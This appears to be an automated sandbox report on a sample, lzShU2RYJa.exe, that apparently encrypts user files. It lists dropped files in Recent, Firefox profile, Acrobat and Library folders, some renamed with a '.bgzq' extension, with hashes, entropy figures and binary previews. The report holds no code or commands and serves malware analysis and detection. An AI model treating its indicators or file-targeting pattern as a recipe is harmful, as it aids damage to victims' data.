SHA-256:	C571769F3B8DB6F7C59ABA1B85D5D592C6149CAF86D9FBFD724ABF76F612E2E2
SHA-512:	D13EFCB90BD88096F3172EE67E1CB46DBC083E9EE083130546C55AA84B4B931DEEFB89583E207D4DC84F84470DD25BFEF20DFD7DC01D8A3FEBC55DCECBED34E1
Malicious:	false
Preview:	VLZDG...c.q@..&.4.6..P..<.C...K2...S........>.(.v..cR..!..u..p....A..F....(d..s..-.-...a..GVOiL.4.Q!FC...@6...~.A...T.7W.f]...G....._....Ib.8r......L..(.>y..:.Z..5..x{..?......b...G..l.....S.Y.".g.B.....X..h...\}..@]p..J..Pz?..4...T.Q.p.n.,E......:..W4`)r.,.[..o.w@\.k..#.K.......S.....(.{...8.8k.u.t`.I.hW..~6Q5.......s.............!.m..../.....3..iUp-H\|.....l~E#R.:.t.W.KSl5z.........J...]p.>..G.{. ..i..`].....y1...}.e9......66'....M2b......+e_W...."h.~......$.Jv....w.hE.3]@...j....=...........'._.TX.\|.,...K?o.9.~<u(;n8V).....:.2Q.........X...g...7.y%.S..`r......Dw[.tz..~e...u{s.N..6....`.:6...d..~G.>..{c{.kq...#.R...W....E..U...}t1..U.NY{..6G..S..."....hC.l.K{...u.@..Q.c.1tA...o..KbF.>X..!.)8ag.pe.B....`..v`(6.).t..OB...n{.f...,....osMH..i.8}..lD.....Q....I.-.#._@.1.. ;....(.F!...#...^%h(..&..*).`.^.Y.@..h.ESTg..cv6>.+,-)V\.].........L0r..<:5G..`.<.Y...PL.H..#...4%..M..x..\|..r.p.Q.vx..&?....U....V...Z.Q.:F.jx........Q.0.+w...y..U;3.t....

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\VLZDGUKUTZ.xlsx

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.851596041313514
Encrypted:	false
SSDEEP:	24:dlngPJPfvKbcZGu8BV45HdiOl5KKUAVSyDXupW5yFzJXNrIxjJ8HOBN0BWZOcLDR:rn2fvMvV36H4OPKKU03W1XEjJ8HOBN0i
MD5:	A9D5C9F8A1E1D4335DCCDB11DA9D6435
SHA1:	7B414CB23F583BDB64FBB432525B9FDA0F30080B
SHA-256:	DE69ECF473685E6A4045C373D7A4E9DD2A427C98371D3338D4B849D87B9013FE
SHA-512:	DEF52E5A3C51C1D84342A4D77D39EF43FB4835465E75F111D63D413CB54BD14DD902B1DF369E8BCA149693240230C21C25C459F3F68EF5AC27DA3CF683533614
Malicious:	false
Preview:	VLZDG...}]....F.V._].7...pE..s.....[H.1.....}.,...'.ABU8..w.<k9.......]8=....Dj..T...S...cP.t....8.....u:".=.4.<..=..........Y..?.......s...;w.....Q.}Z..w..5.KZ.D#...gJ...G........6..N..v..Y.......}e....N.u.2.m..._.V.9. ...h8.WK..e9\|...<.@.3.......Gm.^DGQfN......{Q...]..).&....KZ.W...(.....M..n>..v.P.O.@.m`. .....1...^..Rh'C.Mn'c..V..Z..J1..X...L....>@.H...w..BY.}].`...0^..........3}YIR`.NU.8.Z.T.U...A<_..;..M....\P....`.\|.H.h%..1Z..c.}y.p#.b....&.....^V.U...4.a...yWd..Y6.@.).t..`.J....;.I.\'.!U.z.=.v...U.^.r.+......co./..,.Q9..:..[..KN.:y..4..4..].>.k...A.(.u..mp....a....J.....d.2.........Ro..-..V ....l.........5Q..8..}U.ZN........eD.c...0..........O.......K.O.H...!.]..,....s.i....B{...J.A,v.;q>....v.?r.,H.M.\|~..B..?..^....e>.*.k.......z.Pw..<.'...?..t":..%..........7,.v..'Ua...JG4.wh.~.1.I..z(.D..k...\K......4....=..).q.#.D..f.....9p.{L,e..e:q.r..S...N. =..6.....#...q.N....-.G....8`...)....S..m..qab..90.......s....xp.....$0...

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\XZXHAVGRAG.docx

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.859071698018525
Encrypted:	false
SSDEEP:	24:6odt0tzmJA0GpJAt1aR5YT4ENa9M5Dy6I3R9zC6VCReBwYVbD:6odjARoAR5k4EI9M5DydQEjFD
MD5:	48B0EA5D56219BF594D097783310C3F1
SHA1:	656A15A5BD48BBD4355727D3DFD35BD3B46189D6
SHA-256:	17A4F0DDC285782A02A1C09A1018DFF6C084FC04CD19D29832B8D9657B464961
SHA-512:	A075A64EA5DFF8CA788FE2C36D7891D35E5FE3C21E4CE315E6210B05D57A74395C7886F1A870CF1B34CEBB05D626288A68B7E5F625EF55F1B31CEEBC7DF29179
Malicious:	false
Preview:	XZXHAr'.vuK..l?...ot..`...6...0..j.....Z{q!. .!4........fw>.....`i.B..+.k/....F./.K../.4c.....FuM..$j.Yx.\."..c.q8.Uj..\..../.....R......J+.b........ ...o.O.1..e...D.ha2A....S.KQ....ff,...qe.NY.<..<)....J.L..rU.r.<@.\|...U.....WZT%/..=......Ep...k.y9..V.....;.......g&YC97.K.hf9.w~..[d..9.Y.:c.(..o0......`.p....p.R.....Z.....2._m......(.... ..&..8.....P..Z.....A....D{..L..~.......=;.......T.E>.>....#U.r..44..R=EN.Q.X....@.l.2..].6'hH.."..:.T..GH.P.;.;...-.....).-...\j...~)F..........g=.. x~.........5........J.;.,....@4..zy..;Wr'...p..\|./....E....Q....W.Ma..3..{.pr)j.......P\|P....Q#..Jm.i..(.\....-..VM.Y<.?J.sO.....B.)E..".....(.[{........".6aL..y..i...X_^.Gb..q..0.4.1.BW.'...].....U.......hOd....v.... ........F..d"=.>.p..o...o...J].~Tj.i-...d."...g.#&.8H.x....{Gf.LQL..x)...8....D..M+...h.i~2`....RFq..h...zA...,...Q..^..?...>.X.P(........q....(..!N.H...8...>J7`'Ar/U".)56..Fz.+.....+".....-!..?..(.^.8.F..fd@....fH.......1.~.kI

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\XZXHAVGRAG.xlsx

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.862591928983406
Encrypted:	false
SSDEEP:	24:CoJYv3xNnpkYvFWdxbSo83Uhu0/5eDp/BpDK6GgULKLepEA24ecPxk3tr8XAzZVX:CoJaWYtWHhhGDp/BNK63/LuETgxk3t8g
MD5:	BC1C7F2B7CA3D5A34BA2C4CA8D3ED71A
SHA1:	2A4310B0B6661E2F3966FB64C5992C38418D2D16
SHA-256:	0144DBF9836F0E04A07261AA6906D84F928AEEF2B92823ABC30FE5AE45197451
SHA-512:	2D7C413A6FCD1BB95BF707021811AC1ED230314999441756967582A5B27B6BE9FBDFACF1CC280119C0AB6BB43ED3798718F0FA59A1D391C7CB34C9C11BC59013
Malicious:	false
Preview:	XZXHA.E.........0...}.c..hY...e)d(.n,..S.........`e.......v@a(.......>.sY. ..#...$qO.....hpA.`.&h....(.x.R.....R.r2..%..K.n...f:.....42.L.Y..;....5......../0.X..1DN40..W.N..eR[....,..CR...QY.v....!2. ...Z..N}.....#jg/..S<.6.X...!{`oWs..)F.-o.I.O.+~RDQY.r\|.E...X"H._...8.3.E`....T...G.`.T\z2..G......Jo.....'..i..I..2E0....@..b....}>.gu.a.`..l...h..$.i.O..H&...._.Cp[F..3Lu\|..._.5./D.5.^......hS#..#..r....P.....}.........-[.....~l.U..N...D&.I.N.@..CS..~P:.].qc..h.J..\|....4`X.J5....^.Cc...m..H..c..gpz..M....-...Q1m.,."....e.R1.......f..... ..,4AH.N......a...._.........".0...1Wt.Z..,.1?..&.......("....3.b..Z...............<5..`...>....k.=.m.k.-...R.O......B.d..Y.(/....p^.}..Z....../.....A....^...q)...OU...V.....%. .Iu.~._.XM.......H.......f.&..(r.t..M..<:...m..M.<.....<d...N.x.~.m#...RmVnuxL.z...Q-v..s..G........T....n.......z......f....."L..P)*".?..t....".L.cK.&.z...I.d..~WMm .\|.@8.m...~nt..AT..v.]n........]pK.....w...#.....`......0.B.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\YPSIACHYXW.jpg

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.849485140883244
Encrypted:	false
SSDEEP:	24:VyJ4CF468LO0gkiwGTLqGNysrfZERJjgyZh2e05wrfsFACFV65XKrfpcWVbD:iFxN0OwCjORNNIePYFACFVEXM2WFD
MD5:	904C2B8704C3016D0F119193CAED9FE5
SHA1:	AB4059CCEDBEA9D99BCA93C251B1EAC33BA77022
SHA-256:	569F1BE98CC327215C3759D7B054E632285141AB28B4B9FFC6E66567D5D7A5FA
SHA-512:	BB2070C2DEB8245200EA4BFB3838C1BF9D362E8A80A28052B8FB0E6B3A5F409C1AEA807DDB0A99052BB430750B4805E98BC50DEAC93CF2A1C625D0B1ACBF648B
Malicious:	false
Preview:	YPSIAk.d..A.j@A.ld..!...9.v8..........E.......'+.U.A.b{.T.a...PiFu2C.9....N.....x.....&.mPH..n.n.2.9..Q..aB....hdAo../..2.....R....{..~.@i..[..\|x9.'..W/d...b86..A4vy....u.........jV.J<.<V}Z...k.H..-v...Q.Dya\|.d.Q...C.s..6.4$...i...q.._T...8..M...#.+.l......).A.x.)..'..@...@..'!....E....W.q.E.,xg..og[...N..+.!.>8..w.z....J..."(.....E..$..bt.>T...4..U.&.....c..$`.W.z.......J.ov.....d...kf...E......JF.\&..f.W..&.......K@..W9`.#.hJ.#.e..H...a..T.....-6....<..~.....u_^.P..J./..v.o#.O..I1.y.6m...H......g:.\G..<.....I....@....!..]..k}.W&..kk.nf$.m..@`....j...V.%....6.R..qd$Y...Q.$1...&2..m...K!.T^.T.Oo0.,...^.....s..$........\..a.?h..\..S..^.M.....I.....G$......T.t.@b9.ha.....g..K.....yab....{Z?....}..O..A......\|Za4........E.,.....o>.y.V......;e.".0..Q.~L....7$.\'uU.......$N..'.\9]Y.. .....%.Vud........N..s..B.......\...D7D....].....,.@.+.q. .!\|V.....d..Ci.=`.4V..\pv.]H.{..B............\|Ai?..\..c0<yW;......%`c$..\.+k.#"r..&.n......)I...{

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\YPSIACHYXW.mp3

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.85374470350161
Encrypted:	false
SSDEEP:	24:AULf/MZBiTy3cp95Wo9qcq+hKeS7mIJOh7CiXsdvf9nFXoJiItXJGqUjVbD:Aq/M6TAqJtTIJnicdNFYIcX8qcFD
MD5:	6A86AE772437BB2FFDC4A29876DC5234
SHA1:	A2061E8E00D6B6B66C87C06829029957EFAD84C8
SHA-256:	5EEA0C0B3DA6323FEE356A3476A10AFEFD3E5B3E7EE20612624DB8E0EB54D791
SHA-512:	29C68F0C801E7824B9D295DA80AE7938360B4E09DCD863629A5CF3574BCC02A18435E42A52AD5532AAF7453CEEFDF49C37B6C0DBF97FACAAA2F5DD545B246759
Malicious:	false
Preview:	YPSIA.g.z. ...z...rF+C.....s.h....V...k......>..'..E.<Q...g.r.....c%.....,...(..tbs..W._S...!N[.w.X.(p8....\...w...n.#.....u.F..>sh..&...f]..&Il..YRG.].hi....\....._L..1G.`.j..C.3\|.3..zo3.(...{.K..= ./..u.vb.7...........+U.......o..~Z.<~.eWI:..uZo.^.~u..G......Ip.....f...)...pa.[.QT..I.>L..Mq!...pXN......7.U.....$...&....K..............T.3.4..J..?........wE.....^.l5ML..n.kV.{5....P.r/...e..P.f...C. (D..jE..\|....>k...C.&.^.......c.....\. -X..-<..W..............>.2..u..a/...YV.&...L..oGQ.S.xY.Nw5+....O..w..w..y..\..CF..u.<......5......\|gi...,i.......4.]d.....M..H...G.../"N.(.....;.~o......#.uWJ]..q.S(v.....(..h ..Q.....}>,....'...{..2}.4.........H...M.r...S..&..l.Y.m6Mt>/1N..z%.y:.....7.._.+B...U+`.,.T....\|....<..3....,._P.h'.... .....`0...n..v.lz....6.i*...^;.....@...........o..,r/0+X...1..v.....F.-X......]'.'....wF:f.@..V..y#.F\|CM..3..V.(>..N .Jv3S HH>.`\$.a..:Sk....~J....}.......H..^:.U.K.."e..r.b%M.L.%..3.......

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\ZBEDCJPBEY.png

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8513695199966085
Encrypted:	false
SSDEEP:	24:yQVTaGSQqBr8cw4CBIlwvJy4LP18l67mwf5/jcoSROyFE4ALoEeTmA4eUu+sKVbD:yQFawE8cF0c6P2GmwB/jERq4AHKdd+d9
MD5:	371704399AEF7B70173597D423A931D3
SHA1:	505DB751F3254B15CEE3586A84D80E36F895B009
SHA-256:	7047F5F82A99D745D9DA10C400F40DE69EACDC4B10C9C3A3E3D8B6B4D945AF83
SHA-512:	C331A9B00DB0E0621EBDE9CCE3AF2D4AFBEE83B7B3524C13E3C177ACE1158C930DABB040E991F50046EA65650D0D6010CBA2122E26487445BE93EB1FDCA7EB2A
Malicious:	false
Preview:	ZBEDCV....F..0.d5.`.\...p.}!.....A8]Oty.....8..+....w.p..>QH..D........'.DG.x..z...OV...Yr..zxs..Ev.].<1...?..m.....vG2.PgoRX..../n....0.EPV...^..~...........N..6.].........x?0M..}Z:..zq..N.&..K~.X.)D..b....O...T./.....)o....@...{o.3...1.....I.....$.a..S...&....u..#..@...B.`9h..u.VF...s.@ua..'....b.....\|n..D..N...At"\|..YbE..,........Z..p>.\A.GEs.[_.Y,..#%<!.V...".D.[.._.,L..^Z.hX.C..... .../...y].t.X...(.)s.w..8.31..&..I.?....,..i..;......[.....Z1...V;Wq./..<....L0.....n)6..<z.+....X}.....8....=.....@.E.Tk..u..2..(....F.]ggfv............[..F.~K...HVC3b.d?..B.m..l.'.}`<S..s...m.$0.E.&..9.G....<.w.......#.k\.R.F....>.\...H3op M......./.2G...ESC.....O.x....b@..7.....kT...M.CTb#...!.....Am..6".D..V.E."..Y..%.9..mK...@f.R..l..2.....7...s...0............,..p+jAH...f....l.4<3.9......5CKV....I3d1......J_.N.r..e...9..@N@iZ.nE........u\.I.z.FS...4l,...n+........_a....C.t.$...............lw....$...A...$.)7.$&....5+.2.k....:..j.(.@U?.H

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\ZUYYDJDFVF.png

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.833409502652676
Encrypted:	false
SSDEEP:	24:DYUkDvFcKLsst+UbJdfwx6DhA/O3uUJJnpfWlHBNEtNXlJzsOi15nDkVbD:DYDv68JdfwwtHbVWlDeBnzsOE4FD
MD5:	A2BA72434116EF8B16C3A2065804028F
SHA1:	69E93CEBCDF4A0A8E6D5150BE7BA820519401067
SHA-256:	F6F485DBC0AC1737E2FBD4B553A9C635AC90B609D1FC12B277A298EFF6561ADE
SHA-512:	F094C6E53C27C94185F546E5E693007FC23A6ED6F45ACDB8F17A52B0E9FFFEEC983B076BB829D6351BABE1DAAA07686D08CDA2CB965A2DC941F2CC258C9B253A
Malicious:	false
Preview:	ZUYYDb.J..sr........\.N..?...QC".g..}...Wc"...of-..;..L...p.{\.d.[..Q.(..l_.".`.]...4.e.vL....f9.......k.J4.w..'...p[e..S...X.`..........P....,j....7.4.'..Fi.a.N.1..=.-r..~.Q........v..a......~ .... sD..L..a.....0.....)......!?..x... .`....'..M."'.z.l{.g.(T..LWs.....@.N...6..%.y.z5._.Uv.A.V.r....X.B`~x:s......>........A....p......."..wl..;.i..M..C....D...0....@...1moH.Q.....d.S...Zw.T.y._.>o......C.2.e.....,rD...a.......BRs\|@..v..p....g..V.;...9.a..E[.1N..mNbL.z...a...>..4!..i....L.J.w.......'on.Go..d~.@k...;.R....p....9...B..0...9.Nr.......E.:..cb2=.m.7...R..nA..x.....C..J.X......o....P.....o.....<0...S.C....(.9_v...^..,>+[..,3.....-y.....pF....F5.l...m..J.j=..V....o....;'Z:..U.u...Q.g.z5.7N..... O..6..l.X...........1.{.f.>..L=...4O4.pt.T...+.x.~1...o>.K...^..,R.j.m.U......Z.8H.P.]....?.....l.@If.F.-y......k..`.]Vn.)..a..FxC.".[.E.1.#`.....D...O5#.Gx....L....V..jX1o.T&^.V...2.C.1e.v.;aw.~...J.]M.....5...[.9.....s..N;.w.kf:....

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\datareporting\session-state.json

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	495
Entropy (8bit):	7.513275051887363
Encrypted:	false
SSDEEP:	12:YW488IzrAPoqmWxdzl2U23ZtEtn3PBqTecFojVcii9a:Ykz2zo93ZAn3PcZUVbD
MD5:	80232F528797D2341068396A6A69072E
SHA1:	1AC229E65A42D1D11AC1F0CED1F3B142B79848A8
SHA-256:	D6A5344EC8E7C65EA48EFD1C42E0E436FEB1D6B555333EE20C10FB36171B2219
SHA-512:	34E9C648144AE368A2036BF16FC54A0FDB9EEE6C0217F802FFD60318D8032A7EBFF73BAC46F7FC7B6AA61EE800B5C77F3D6EDE536851FAEFA21B8430FA622150
Malicious:	false
Preview:	{"sesd...L....r........6.l/.l..3.K./$"0.@!..A.}..&..q`....o..s.r.4.n...R>.3..._..u....^.Dp.W.J.G.J.C.wm..aE[=...cXB.+..S...l.hbv...X.s&.a.+..&.B[..VqI/..r=....U....#..Q@....O...}..p..../.2 m...e...1....}.....E..-..*.o......\.6^..E .B..'....q...%..e8...&L..>.....%......G5M.9...j\S\....7...Y.:..,;+8...#..$'....Y.i.......".....pU.+.+S.S.+c..F....\|.^...s.R...&.Y.s...W'.FA..[.}.....%].NE?.].itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\datareporting\state.json

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	385
Entropy (8bit):	7.312934808790592
Encrypted:	false
SSDEEP:	12:YGtsEM8Es9GreHF4vw1h/0IAM3P/jVcii9a:YNEMVKlj1h5D3PbVbD
MD5:	9CA6285DB6CE6B6C1C1129F7CA791FD7
SHA1:	2834E0E43C3B240936BB2AD5CACBCD119294BD28
SHA-256:	28C75484D05407CEBB418AFC2A270B7AE60719FBDEB24C26DC111BF2A2925609
SHA-512:	3BFF106FE4E91D27E1C92FB2B6B2711C9BC581D8786016630E9D944A085016BE24B3AB9C527BDB5A1F364A81962931F1C6E485116F93E2F207B92EB3FDFFBAEA
Malicious:	false
Preview:	{"cli/.d..../;.m+$P).G.w....2\|Yy...m~.~.w.'.(.r.B.J"e.AosW....[......E.X.w2T.&......a..I.H.$..{.U.8.XI<..1........eU..Hmw.g.2Tg...]...6.4.e$}.......R.~4.......$..u.].uj._....@eD.&<a.$..Ms9.............l$.'.%E#.h.yA.s.\|..@...k.*.r..1...&c..h..............;K=E.W2^..fE...$K.p.?uw9.%OcRa[3k.W.itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\sessionstore-backups\previous.jsonlz4

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1550
Entropy (8bit):	7.877220278726336
Encrypted:	false
SSDEEP:	24:AEID7foNBvPTdwIEfJZ/xHec/UWrFvqqD4koQKI2UBm55wL9mFB+AGrVbD:1IHqlDEf//xHX8QFiqD42kUhpmFBNOFD
MD5:	3B6B2B08258983AF4BD8F78080BC3FA8
SHA1:	18FEE1B80B248DAE3A48453AE0776F9375538D41
SHA-256:	10F2AFA176072761A7F788BD56D4829FFD069330F04F18FF4274DC763DF955AC
SHA-512:	C34C056D324009F1227F08325C6DD23D4E67660B05440AD04855815BDECB5B8F36EC516EF1A0A80FD9A0B6980BF5BBB7550EE8574D3FC6D47E5C1A7984B9F9DE
Malicious:	false
Preview:	mozLzW.O.j..Ueq...__.=........93....S.Z.W....Vm@....A...H....'%.-.7..W..n%_..\En.',h.D.3.zo8.o.....a..C:.H..q?.b.DC....\.)_.V}Yj.}u.k......s..^\,.........]...$... ..u.......f..&...A.h.0..dc.I.<g.../.]L...wx7...;.v8.U...d........+jQD._.~f.q...t:...C.n.. lq.7.@..J.k.oW.J..Z......lB..#W.B.;....0q.n.Q\|......n..v.!.....A.....=....."....o.J..].2...m9...".h.m....^.B.e.1......3......FWnh.z.\|....$.(..?5.Z.aO.?...Ei."F....v.`....!q..Y\..-7.=..uA..}....f..Dc.........0p.........G..a.l.^...V.eF..B....p... RG.{...i...500~5..0....^....}b....'.r.;1J.\..=J+..L$d_.+yJ.On..5..\|....%..v7....y/...B@.6..:-.'..~...V.vs..JA..N<.9Q!w.......Z..5\|J.9.M..9...L..1.....TE..2r..#W4......fX.GWX.lp..C....,.f..%...8@..t.f...C.@~..?......S...G...sp....0!....<..=.M.2B....R.}r......Y...o.....`.{..7&!....=.q.....>..~z..WB<.......\.._..-U.".A'..f....3.<O.\..-......!....,.....N.8P....v.x..0...oo..!...$.m....{h...n..i.fYY..bQ.3&N.......%.........5..3..........s..d:E.>kn.H...h...Y

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\sessionstore-backups\upgrade.jsonlz4-20230927232528

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	4749
Entropy (8bit):	7.95794034507041
Encrypted:	false
SSDEEP:	96:+ithpKKBtY3KpefzEmdz1759Xn5JmEQ8Ll+q5oSkqbzZA9A49:bthpKitgKpef4mdp59brQKwdSK9p
MD5:	F13B87BA6BB47F1C439B35428C2F7923
SHA1:	5010D9B1A97FBB1BED47071A4B503B50D4FB2359
SHA-256:	B0268CF2A0F6C1411637159D22DAB83693403196F4878AC70B914E185BACE35A
SHA-512:	8684C41406B0E9B3B716BB0459D5C8683567CC9D0C35EAD4A36D97927823F45A495B8065B03E1B779D2E6C3231617957E0F2B2C1D89DDF38A7E0CBFB5437F4B7
Malicious:	false
Preview:	mozLz..qk.}...,'...<...6tz...C..W...mp..zL..Z..2.$.....o.-..s..s.D..8JOu".........`i.Q...Iy.e..y+YB..,...J5...mEg./f\|^{".ey..h...2M.B.p......1.j..V.. .b.X.;.b..?.....x!..=.?"..S.....Uh.........q......1.{...}`]..or....^.....N..h'..}.RO1-Q........\|..e4.Y.......d\.<.>t+`.jW.w...<.....i..c..dW..........a ....sA..\|#KXH.......Gx.Pix.M.hw....^].z...w0.v.&..[iC.....nu.f..?......6.K.SF$/.mp....A...=..v..p9..+.K.N...s...p.T.hHE.. .AW....oE.\|...g....a>.........!.7......N..I...2N.a+)..J..9.0]....(@...CAc0>.?.}=...V.1....>.m.m.Zq1.K. >:.....K0..N=.U.mW...d....e9......B...:..>.l}.G..a3....../z..7.EA.an....^k_..xj..a..0.-*#BLxxT......#..3.i....;".;....:.//.1....&.lUz..Z.Q.?.&&......P.[.).1.).......m."...:..lU...P...L...8.....$..z.).E..lL.......].....y.ns_V......qi....u`.....+(......-......0..qX.r.P..a^.....?=_..P. B..+r.sD..6..I`.J.W.e\|V.Q.....J....l7.QNv.>H,....g....-.]...G.....t.Bz.J....$..p..z.B....>9..#3^n...\|!..k....w\|.."..3.....o..)...

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\ls-archive.sqlite

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	131406
Entropy (8bit):	7.998488550929665
Encrypted:	true
SSDEEP:	3072:HTx2EI5Fzxt0P61h35CQ9qTbiVnGtMJIpc+aU+abuTOf3Gn:A3Nh1XC83+938OOn
MD5:	9731B8B1B7D2CC978BA6EB2CE79E99DB
SHA1:	788B4AC6703E65F28B8DC26BE33099C32C91F34B
SHA-256:	73B56DFF38FF546BB8F1BA529C33564FFA25BA8AEB531208B1A63078EC5F1929
SHA-512:	22246B40F29CD9688CDC41C0CF43133E66C9E361F30941D62B42B4A4E49E3CFDC356686C2D008634149CA65AD074DF05E5B8EFCF17F0C193629294EAFA27D67D
Malicious:	true
Preview:	SQLit6n..e......4.2y.l..9b...8...h.N.M,..1..6,..[`e..@Q=..b.QO....+..`.>..T..c.......p.kf.3#:).6ru.$...O.... ....W..\<T.2..Q[I.&.....T......$.9...,O0@.G...5.....v...V.....S.rlm^.Fi0.R.F/4....x......t.Z[...[.c..a...w.T..:^7.X..........X.G.~O.Q!.O.i.&..:......_..XS..X.y.!s..f....o$...."...mm.s.j..<.I.Mp3...y...L....gf...H....&...]w..,.....}..\.N\|.Ov.JzI.t."bo.fTD..$L.K......D..d.O....T_...._..#w.....b..0........-"...5.....oSMLL..y.k.%.O+..z.q....D.FEsZ...p..n.. ....Y.Bk..N.Q..E.~.~=_....!...L.x.T\.$.+R....5......gaW...5.E....a..YR..j6C<.0....R&.W...d0..\.......W]....ty..o...TH4e=q.".t..%..<Ig...s...........3.....{......5.{.......[]`..1."...'L.sp..\|.V...._.'2`.F.K.<.G..ykar.-R.wS.G..O.p.?...1.....^.D;.....u.w.)..b.>.'..N.?.......~2U..1_...Y6....W.q..7z"...vE.P.y.C\.5)n;.*@......6.J./.........N..v...$......H..1r.,....P.Dt.C...P..0&B..3....%......7,..S5.s"Z.p...[48."RZ...XZ,..X.....!S..K......../..D.A\|..VU..B.................a^.78vf..F..O..A

C:\Users\user\Application Data\Adobe\Acrobat\DC\TMDocs.sav.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	370
Entropy (8bit):	7.287541960861133
Encrypted:	false
SSDEEP:	6:7/wabno7WV1vBgoqAuK6i0H1CC+bq7KIY5IMEKVskZjasNMC6nOE+uazjhPcii9a:7nbnQHAu3HHOANM7Vs9suCyrYjVcii9a
MD5:	DCDB3987E10947E24A78C25448F901A2
SHA1:	2100CFA57FF450F035EAF3709D273FA99CB1EC77
SHA-256:	13F2D930FA49289F6C333069D5A195AD128556A07B1E3F4FB17E28D5315116AA
SHA-512:	790B79E024C9630E788AE7FAA5DBC0AF88D4F76F0FC9BB4A4B31EB7734765912194301773869F0DF9DCA00C2784B62BF7566ADC516663424D70A68CC95B43D9D
Malicious:	false
Preview:	%PDFT._.:..?.'.v.?..[`acJ8..l/.VaDH\|f.......}..o...A4..M..zK.u.w\m.........f.9.uZ...Y.y ...7..n...."~..82...3.f..C.z.xD.$7.e'=..~..F...-..^[0a..%..^.. .....p.4p..o\|S4.....lm^..q....HD..m...}p.(.=..0.S(g?.ba.v.P...$.t.....W.'>.y ..W..).......rP..}...2..P........d.%Ya&.kDPU,C..U.itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Application Data\Adobe\Acrobat\DC\TMGrpPrm.sav.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	388
Entropy (8bit):	7.262737651964051
Encrypted:	false
SSDEEP:	12:y15bidrv3JgotFgzcd/U5YCrWJA+RHejVcii9a:y1Vi9xJrLH9cVbD
MD5:	4849226B4E3945EB6ED7270081F251C2
SHA1:	6ACE8C0BAC74B0B089002DF9C18E742C9218CD57
SHA-256:	87D36B70D9F49AE23A80D2E5F7AA463A73C10CF7228A9A86CD1C3075AB6E40F2
SHA-512:	D82E36BB69C64B497C92E9414F066B8A75A2C598436F1403A4E7AEE0D173BC114E0DD11BCFD47B048F5E0341C3E541497AFE84AB4018C21A0551B2F24B4FFC5C
Malicious:	false
Preview:	%PDFT<TV....Lun.-g.?.&..i...H..)Vq7.'T./..V..G.?..ez\|...'.X~I...}G.A.fF`.z...%...\.(..;...G[H9.]n.&.&..97n...N.'..v......GW.0w.H.[...1...}.3.h...*.K.....Y....S....ok..&.~......{...-z.9..6$.....Pk.Z..?B+.Xj.1../...u.up`/.%.....H..5.+....Z.i...i...u+U...H.F..7.mg..?......3Ep..os..De.C...?..C.b~..itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Application Data\Microsoft\Windows\Libraries\CameraRoll.library-ms.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1352
Entropy (8bit):	7.839055642449339
Encrypted:	false
SSDEEP:	24:FQeqFq6tg+QbiLIE5zCFJ+pqd02Q/KKIQk6JeOvzRxlaJvOdCXyXyVbD:FQ06L8X+SQKgFJVl0AQyXyFD
MD5:	CCAE36F11E8A1338D4A0981D4770589C
SHA1:	F9F575D9ABBC5ACA91499C4522C88F4040BACAB4
SHA-256:	C67CD2095AF7391B560997DF97F76238212D8988A11F175D683637E907A28880
SHA-512:	79271D4EFA06917DAA25F626A9CB5148A736D32195F9BD800B3FBAD04910318ED5AB6345274D3E7770074864EB33CE8F51686372B5F7F01B8FD972228AD80EB9
Malicious:	false
